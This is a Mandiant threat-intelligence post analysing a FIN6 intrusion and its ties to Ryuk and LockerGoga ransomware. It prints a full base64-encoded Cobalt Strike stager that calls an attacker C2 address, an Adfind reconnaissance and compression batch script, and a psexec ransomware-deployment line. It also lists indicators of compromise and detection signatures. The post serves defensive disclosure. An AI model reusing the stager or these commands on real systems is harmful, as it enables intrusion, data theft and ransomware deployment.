Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware

By Mandiant

Published: 2019-04-05 · Archived: 2026-04-05 18:17:08 UTC

Written by: Brendan McKeague, Van Ta, Ben Fedore, Geoff Ackerman, Alex Pennino, Andrew Thompson, Douglas Bienstock

---

Summary

Recently, FireEye Managed Defense detected and responded to a FIN6 intrusion at a customer within the engineering industry, which seemed out of character due to FIN6's historical targeting of payment card data. The intent of the intrusion was initially unclear because the customer did not have or process payment card data. Fortunately, every investigation conducted by Managed Defense or Mandiant includes analysts from our FireEye Advanced Practices team who help correlate activity observed in our hundreds of investigations and voluminous threat intelligence holdings. Our team quickly linked this activity with some recent Mandiant investigations and enabled us to determine that FIN6 has expanded their criminal enterprise to deploy ransomware in an attempt to further monetize their access to compromised entities.

This blog post details the latest FIN6 tactics, techniques, and procedures (TTPs), including ties to the use of LockerGoga and Ryuk ransomware families. It also highlights how early detection and response combined with threat intelligence gives Managed Defense customers a decisive advantage in stopping intruders before their goals manifest. In this instance, Managed Defense thwarted a potentially destructive attack that could have cost our customer millions of dollars due to business disruption.

Detection and Response

Managed Defense worked in tandem with the customer's security team to acquire relevant log data, share findings from system analysis, and answer critical investigative questions. The customer was also undergoing a penetration test, so additional scrutiny was required in order to delineate between authorized testing activity and unauthorized activity attributed to FIN6. Our customer provided valuable insight into the role and importance of affected systems in preparation for entering Rapid Response. Rapid Response is a service offering that delivers incident response support to Managed Defense customers. As with any incident response service, the primary goal is to scope of the nature of the identified malicious activity and to assist our customers with a successful eradication event to eliminate the presence of adversaries.

Managed Defense, utilizing FireEye Endpoint Security technology, detected and responded to the threat activity identified within the customer's environment. The subsequent investigation revealed FIN6 was in the initial phase of an intrusion using stolen credentials, Cobalt Strike, Metasploit, and publicly available tools such as Adfind and 7-Zip to conduct internal reconnaissance, compress data, and aid their overall mission.

Managed Defense investigated activity on two systems initially detected as compromised by FireEye Endpoint Security, the industry leading endpoint security solution that was ranked as the most effective endpoint detection and response (EDR) solution. The activity was detected by comprehensive real time methodology signatures designed to identify the most evasive adversary techniques. Pivoting from these initial leads, analysts identified suspicious SMB connections and Windows Registry artifacts that indicated the attacker had installed malicious Windows services to execute PowerShell commands on remote systems. Windows Event Log entries revealed the user account details responsible for the service installation and provided additional IOCs (Indicators of Compromise) to assist Managed Defense in scoping the compromise and identifying other systems accessed by FIN6. Managed Defense utilized Windows Registry Shellbag entries to reconstruct FIN6's actions on compromised systems that were consistent with lateral movement.

Attack Lifecycle

Initial Compromise, Establish Foothold, and Escalate Privileges

To initially gain access to the environment, Managed Defense analysts identified that FIN6 compromised an internet facing system. Following the compromise of this system, analysts identified FIN6 leveraged stolen credentials to move laterally within the environment using the Windows' Remote Desktop Protocol (RDP).

Following the RDP connection to systems, FIN6 used two different techniques to establish a foothold:

First technique: FIN6 used PowerShell to execute an encoded command. The command consisted of a byte array containing a base64 encoded payload shown in Figure 1.

```
[Byte[]]$var_code =
[System.Convert]::FromBase64String("/OiJAAAAYInlMdJki1Iwi1IMi1IUi3IoD7dKJjH/McCsPGF8Aiwgwc8NAcfi8FJXi1
IQi0I8AdCLQHiFwHRKAdBQi0gYi1ggAdPjPEmLNIsB1jH/McCswc8NAcc44HX0A334O30kdeJYi1gkAdNmiwxLi1gcAdOLBIsB0IlE
JCRbW2FZWlH/4FhfWosS64ZdaG5ldABod2luaVRoTHcmB//V6AAAAAAx/1dXV1dXaDpWeaf/1emkAAAAWzHJUVFqA1FRaLsBAABTUG
hXiZ/G/9VQ6YwAAABbMdJSaAAyoIRSUlJTUlBo61UuO//VicaDw1BogDMAAIngagRQah9WaHVGnob/1V8x/1dXav9TVmgtBhh7/9WF
wA+EygEAADH/hfZ0BIn56wloqsXiXf/VicFoRSFeMf/VMf9XagdRVlBot1fgC//VvwAvAAA5x3UHWFDpe////zH/6ZEBAADpyQEAAO
hv////LzdzSmgA8FO74EzKVluuC+bk9jzS8l3vy6GPAbpSTBXQilOC8N46LNrmXi6Jqukv21zhcyY0jM668fypNVaxxBqck1mwy6LE
Dp7Gnj6cUwBVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoY29tcGF0aWJsZTsgTVNJRSAxMC4wOyBXaW5kb3dzIE5UIDYuMjsgV09XNj
Q7IFRyaWRlbnQvNi4wKQ0KAGsZc3L2Qs+Zx2QXwBi2oyKvUnzYC8kFZKblVAPRs5JRcPy3269fKkQkGnn9Rp6jCxLzzi662f14rRP5
pgyCB/AkL1NIePkTBgYY9+8Q4c9tCXCVc+q+vnhUjo+1SAibSory08KG5O8KXlRmfTf9R1ZXTTHk+VO968zuMp6xBUVIfIGS50/Mv4
dF87Vq6HT32QUgFR8tEEYzZzKpqmey9Cabru+HwG+phk3gN0nLZr/0moxCl+S6He1QHdQpKtKrPaI+VpM/3/l8epZpYp68PljfESAV
NEal2R0AaPC1olb/1WpAaAAQAABoAABAAFdoWKRT5f/Vk7kAAAAAAdlRU4nnV2gAIAAAU1ZoEpaJ4v/VhcB0xosHAcOFwHXlWMPoif
3//zE3Ni4xMjYuODUuMjA3AAAAAAE=")
```

Figure 1: Base64 encoded command

The encoded payload was a Cobalt Strike httpsstager that was injected into the PowerShell process that ran the command. The Cobalt Strike httpsstager was configured to download a second payload from hxxps://176.126.85[.]207:443/7sJh. FireEye retrieved this resource and determined it was a shellcode payload configured to download a third payload from hxxps://176.126.85[.]207/ca. FireEye was unable to determine the final payload due to it no longer being hosted at the time of analysis.

Second technique: FIN6 also leveraged the creation of Windows services (named with a random 16-character string such as IXiCDtPbtGWnrAGQ) to execute encoded PowerShell commands. The randomly named service is a by-product of using Metasploit, which creates the 16-character service by default. The encoded command contained a Metasploit reverse HTTP shellcode payload stored in a byte-array like the first technique. The

Metasploit reverse HTTP payload was configured to communicate with the command and control (C2) IP address 176.126.85[.]207 with a randomly named resource such as "/ilX9zObq6LleAF8BBdsdHwRjapd8_1Tl4Y-9Rc6hMbPXHPgVTWTtb0xfb7BpIyC1Lia31F5gCN_btvkad7aR2JF5ySRLZmTtY" over TCP port 443. This C2 URL contained shellcode that would make an HTTPS request for an additional download.

To achieve privilege escalation within the environment, FIN6 utilized a named pipe impersonation technique included within the Metasploit framework that allows for SYSTEM-level privilege escalation.

Internal Reconnaissance and Lateral Movement

FIN6 conducted internal reconnaissance with a Windows batch file leveraging Adfind to query Active Directory, then 7-zip to compress the results for exfiltration:

```
adfind.exe -f (objectcategory=person) > ad_users.txt
adfind.exe -f objectcategory=computer > ad_computers.txt
adfind.exe -f (objectcategory=organizationalUnit) > ad_ous.txt
adfind.exe -subnets -f (objectCategory=subnet) > ad_subnets.txt
adfind.exe -f "(objectcategory=group)" > ad_group.txt
adfind.exe -gcb -sc trustdmp > ad_trustdmp.txt
7.exe a -mx3 ad.7z ad_*
```

The outputs of the batch file included Active Directory users, computers, organizational units, subnets, groups, and trusts. With these outputs, FIN6 was able to identify user accounts that could access additional hosts in the domain. For lateral movement, FIN6 used another set of compromised credentials with membership to additional groups in the domain to RDP to other hosts.

Maintain Presence

Within two hours of the initial detection, the systems were contained using FireEye Endpoint Security. Through containment, attacker access to the systems was denied while valuable forensic evidence remained intact for remote analysis. Due to Managed Defense's Rapid Response and containment, FIN6 was unable to maintain presence or achieve their objective.

Through separate Mandiant Incident Response investigations, FireEye has observed FIN6 conducting intrusions to deploy either Ryuk or LockerGoga ransomware. The investigations observed FIN6 using similar tools, tactics, and procedures that were observed by FireEye Managed Defense during the earlier phases of the attack lifecycle. Mandiant observed additional indicators from the later attack lifecycle phases.

Lateral Movement

FIN6 used encoded PowerShell commands to install Cobalt Strike on compromised systems. The attacker made use of Cobalt Strike's "psexec" lateral movement command to create a Windows service named with a random 16-character string on the target system and execute encoded PowerShell. In some cases, the encoded PowerShell commands were used to download and execute content hosted on the paste site hxxps://pastebin[.]com.

Complete Mission

FIN6 also moved laterally to servers in the environment using RDP and configured them as malware "distribution" servers. The distribution servers were used to stage the LockerGoga ransomware, additional utilities, and deployment scripts to automate installation of the ransomware. Mandiant identified a utility script named kill.bat that was run on systems in the environment. This script contained a series of anti-forensics and other commands intended to disable antivirus and destabilize the operating system. FIN6 automated the deployment of kill.bat and the LockerGoga ransomware using batch script files. FIN6 created a number of BAT files on the malware distribution servers with the naming convention xaa.bat, xab.bat, xac.bat, etc. These BAT files contained psexec commands to connect to remote systems and deploy kill.bat along with LockerGoga. FIN6 renamed the psexec service name to "mstdc" in order to masquerade as the legitimate Windows executable "msdtc." Example strings from the deployment BAT files are shown in Figure 2. To ensure a high success rate, the attacker used compromised domain administrator credentials. Domain administrators have complete control over Windows systems in an Active Directory environment.

```
start copy svchost.exe \\10.1.1.1\c$\windows\temp\start psexec.exe \\10.1.1.1 -u domain\domainadmin -p "passwo
```

Figure 2: Strings from deployment BAT files

Ransomware

Ryuk is a ransomware that uses a combination of public and symmetric-key cryptography to encrypt files on the host computer. LockerGoga is ransomware that uses 1024-bit RSA and 128-bit AES encryption to encrypt files and leaves ransom notes in the root directory and shared desktop directory. Additional information about Ryuk and LockerGoga is available on the FireEye Intelligence portal: 18-00015730 and 19-00002005

Attribution

FIN6 has traditionally conducted intrusions targeting payment card data from Point-of-Sale (POS) or eCommerce systems. This incident's targeting of the engineering industry would be inconsistent with that objective. However, we have recently identified multiple targeted Ryuk and LockerGoga ransomware incidents showing ties to FIN6, through both Mandiant incident response investigations and FireEye Intelligence research into threats impacting other organizations. We have traced these intrusions back to July 2018, and they have reportedly cost victims tens of millions of dollars. As the frequency of these intrusions deploying ransomware have increased, the cadence of activity traditionally attributed to FIN6—intrusions targeting point-of-sale (POS) environments, deploying TRINITY malware and sharing other key characteristics—has declined. Given that, FIN6 may have evolved as a whole to focus on these extortive intrusions. However, based on tactical differences between these ransomware incidents and historical FIN6 activity, it is also possible that some FIN6 operators have been carrying out ransomware deployment intrusions independently of the group's payment card breaches. Which of those scenarios is happening would influence how pressing a threat the group's card data breach tactics continue to be. Criminal operations and relationships are highly adaptable, so we commonly encounter such attribution challenges in regards to criminal activity. Given that these intrusions have been sustained for almost a year, we expect that

continued research into further intrusion attempts may enable us to more fully answer these questions regarding FIN6's current status.

Indicators

Type	Indicator
Network	31.220.45[.]151 46.166.173[.]109 62.210.136[.]65 89.105.194[.]236 93.115.26[.]171 103.73.65[.]116 176.126.85[.]207 185.202.174[.]31 185.202.174[.]41 185.202.174[.]44 185.202.174[.]80 185.202.174[.]84 185.202.174[.]91 185.222.211[.]98 hxxps://176.126.85[.]207:443/7sJh hxxps://176.126.85[.]207/ca hxxps://176.126.85[.]207:443/ilX9zObq6LleAF8BBdsdHwRjapd8_1Tl4Y-9Rc6hMbPXHPgVTWTtb0xfb7BpIyC1Lia31F5gCN_btvkad7aR2JF5ySRLZmTtY hxxps://pastebin[.]com/raw/0v6RiYEY hxxps://pastebin[.]com/raw/YAm4QnE7 hxxps://pastebin[.]com/raw/p5U9siCD hxxps://pastebin[.]com/raw/BKVLHWa0 hxxps://pastebin[.]com/raw/HPpvY00Q hxxps://pastebin[.]com/raw/L4LQQfXE hxxps://pastebin[.]com/raw/YAm4QnE7 hxxps://pastebin[.]com/raw/p5U9siCD hxxps://pastebin[.]com/raw/tDAbbY52 hxxps://pastebin[.]com/raw/u9yYjTr7 hxxps://pastebin[.]com/raw/wrehJuGp hxxps://pastebin[.]com/raw/tDAbbY52 hxxps://pastebin[.]com/raw/wrehJuGp hxxps://pastebin[.]com/raw/Bber9jae

Host	031dd207c8276bcc5b41825f0a3e31b0 0f9931210bde86753d0f4a9abc5611fd 12597de0e709e44442418e89721b9140 32ea267296c8694c0b5f5baeacf34b0e 395d52f738eb75852fe501df13231c8d 39b7c130f1a02665fd72d65f4f9cb634 3c5575ce80e0847360cd2306c64b51a0 46d781620afc536afa25381504059612 4ec86a35f6982e6545b771376a6f65bb 73e7ddd6b49cdaa982ea8cb578f3af15 8452d52034d3b2cb612dbc59ed609163 8c099a15a19b6e5b29a3794abf8a5878 9d3fdb1e370c0ee6315b4625ecf2ac55 d2f9335a305440d91702c803b6d046b6 34187a34d0a3c5d63016c26346371b54 ad_users.txt ad_trustdmp.txt ad_subnets.txt ad_ous.txt ad_group.txt ad_computers.txt 7.exe Kill.bat Svchost.exe Mstdc.exe

Detecting the Techniques

The following table contains several specific detection names, including methodology detections for several tools and techniques that applied to the initial infection activity as well as additional detection names for the ransomware used by FIN6.

Platform	Signature Name
Endpoint Security	METASPLOIT A (METHODOLOGY) SUSPICIOUS POWERSHELL USAGE (METHODOLOGY) BEACON A (FAMILY) SYSNATIVE ALIAS RUNDLL32.EXE (METHODOLOGY)
Network Security and Email Security	FE_Ransomware_Win64_Ryuk_1 FE_Ransomware_Win_LOCKERGOGA_1

	FE_Ransomware_Win_LOCKERGOGA_2 FE_Ransomware_Win32_LOCKERGOGA_1 FE_Ransomware_Win32_LOCKERGOGA_2 FE_Ransomware_Win64_LOCKERGOGA_1

Posted in

- Threat Intelligence
- Security & Identity
